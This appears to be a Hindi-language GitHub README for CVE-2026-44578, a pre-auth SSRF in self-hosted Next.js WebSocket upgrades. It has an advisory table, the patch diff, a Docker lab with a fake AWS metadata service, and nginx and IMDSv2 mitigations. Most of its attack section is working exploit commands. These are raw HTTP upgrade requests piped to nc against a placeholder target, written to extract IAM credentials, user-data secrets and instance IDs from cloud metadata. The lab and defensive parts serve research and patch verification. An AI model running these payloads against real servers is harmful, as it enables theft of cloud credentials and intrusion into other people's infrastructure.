
CVE-2026-44578: Next.js WebSocket अपग्रेड SSRF — localhost:80 के माध्यम से प्री-ऑथ क्रेडेंशियल चोरी। लैब + एक्सप्लॉइट + ऑडिट।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| प्रकार | SSRF (CWE-918) |
| प्रभावित | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (केवल स्व-होस्टेड) |
| समाधान | 15.5.16, 16.2.5 |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
router-server.ts में वेबसॉकेट अपग्रेड हैंडलर parsedUrl.protocol के सत्य होने पर proxyRequest() को कॉल करता है—बिना finished और statusCode रूटिंग-समाप्ति फ़्लैग्स की जाँच किए जो HTTP हैंडलर हमेशा लागू करता था।
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
normalizeRepeatedSlashes के http:/// को http:/ में संक्षिप्त करने के बाद, होस्टनेम null होता है और http-proxy सही पथ के साथ localhost:80 से जुड़ता है। कोई भी सह-स्थित सेवा (क्लाउड मेटाडेटा, एडमिन पैनल, आंतरिक API) उजागर हो जाती है।
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlनिरपेक्ष-फॉर्म URI नहीं भेज सकता। रॉ TCP का उपयोग करें:nc,ncat,socat, या Python sockets।
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
यह 5 कंटेनर प्रारंभ करता है:
| कंटेनर | भूमिका | उजागर |
|---|---|---|
nextjs-vuln | Next.js 15.5.15 (असुरक्षित) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (पैच किया गया) | localhost:3001 |
imds-sidecar-vuln | फर्जी AWS IMDSv1 जो असुरक्षित के साथ नेटवर्क साझा करता है | localhost:80 (असुरक्षित के दृष्टिकोण से) |
imds-sidecar-fixed | फर्जी AWS IMDSv1 जो फिक्स्ड के साथ नेटवर्क साझा करता है | localhost:80 (फिक्स्ड के दृष्टिकोण से) |
internal-api | आंतरिक सेवा मॉक | — |
IMDS साइडकार network_mode: "service:nextjs-*" का उपयोग करते हैं ताकि फर्जी मेटाडेटा सेवा Next.js कंटेनर के अंदर localhost:80 पर हो—एक वास्तविक क्लाउड इंस्टेंस का मॉडलिंग करते हुए।
# पूर्ण परीक्षण सूट (7 SSRF जांच)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# एकल क्रेडेंशियल निष्कर्षण
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# पुष्टि करें कि पैच किया गया इंस्टेंस इसे ब्लॉक करता है
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
सभी कंटेनर ऊपर—असुरक्षित (15.5.15) :3000 पर, पैच किया गया (15.5.16) :3001 पर, IMDS साइडकार नेटवर्क नेमस्पेस साझा कर रहे हैं।
एकल अनुरोध पूर्ण EC2 मेटाडेटा निर्देशिका (ami-id, instance-id, iam/, placement/, आदि) लौटाता है।
पूर्ण IAM क्रेडेंशियल सेट: AccessKeyId, SecretAccessKey, Token, और Expiration।
EC2 उपयोगकर्ता-डेटा बूटस्ट्रैप स्क्रिप्ट जिसमें DB_PASSWORD और API_KEY शामिल हैं।
इसी SSRF वेक्टर के माध्यम से इंस्टेंस ID निकाली गई।
Next.js 15.5.16 के विरुद्ध समान पेलोड। कनेक्शन तुरंत बंद—कोई डेटा वापस नहीं।
फर्जी IMDS लॉग दिखाते हैं कि GET अनुरोध 127.0.0.1 (Next.js प्रक्रिया) से आ रहे हैं, यह साबित करता है कि SSRF सर्वर-साइड है।
सभी 7 SSRF परीक्षण संवेदनशील डेटा लौटाते हैं।
सभी 7 परीक्षण पैच किए गए इंस्टेंस पर ब्लॉक। समाधान पुष्टि।
# 1. मेटाडेटा श्रेणियाँ सूचीबद्ध करें
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. इंस्टेंस ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. IAM भूमिका खोजें
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. IAM क्रेडेंशियल निकालें
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. उपयोगकर्ता-डेटा रहस्य
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
T को लक्ष्य होस्ट से और ROLE को IAM भूमिका नाम से बदलें।
| सीमा | विवरण |
|---|---|
| HTTP विधि | केवल GET |
| लक्ष्य | localhost:80 (होस्टनेम सामान्यीकरण द्वारा हटा दिया गया) |
| AWS IMDSv2 | शोषण योग्य नहीं (PUT की आवश्यकता है) |
| GCP मेटाडेटा | शोषण योग्य नहीं (अपग्रेड हेडर को अस्वीकार करता है) |
| Vercel-होस्टेड | प्रभावित नहीं |
| रिवर्स प्रॉक्सी के पीछे | nginx/Caddy/HAProxy निरपेक्ष-फॉर्म URI ब्लॉक करते हैं |
# Nginx: निरपेक्ष-फॉर्म अनुरोध URI को अस्वीकार करें
if ($request_uri ~* "^https?://") {
return 400;
}
AWS पर: IMDSv2 लागू करें (HttpTokens=required)।
लॉग सिग्नेचर:
Failed to proxy http:/ — प्रॉक्सी ट्रिगर हुआ लेकिन लक्ष्य अप्राप्यhttp:///path वेरिएंट कोई एरर लॉग नहीं उत्पन्न करता है—अनुरोध पंक्ति में http: के साथ वेबसॉकेट अपग्रेड की निगरानी करेंकेवल अधिकृत सुरक्षा परीक्षण, शिक्षा, और रक्षात्मक अनुसंधान के लिए। केवल उन सिस्टम के विरुद्ध उपयोग करें जिनके आप मालिक हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट लिखित अनुमति है।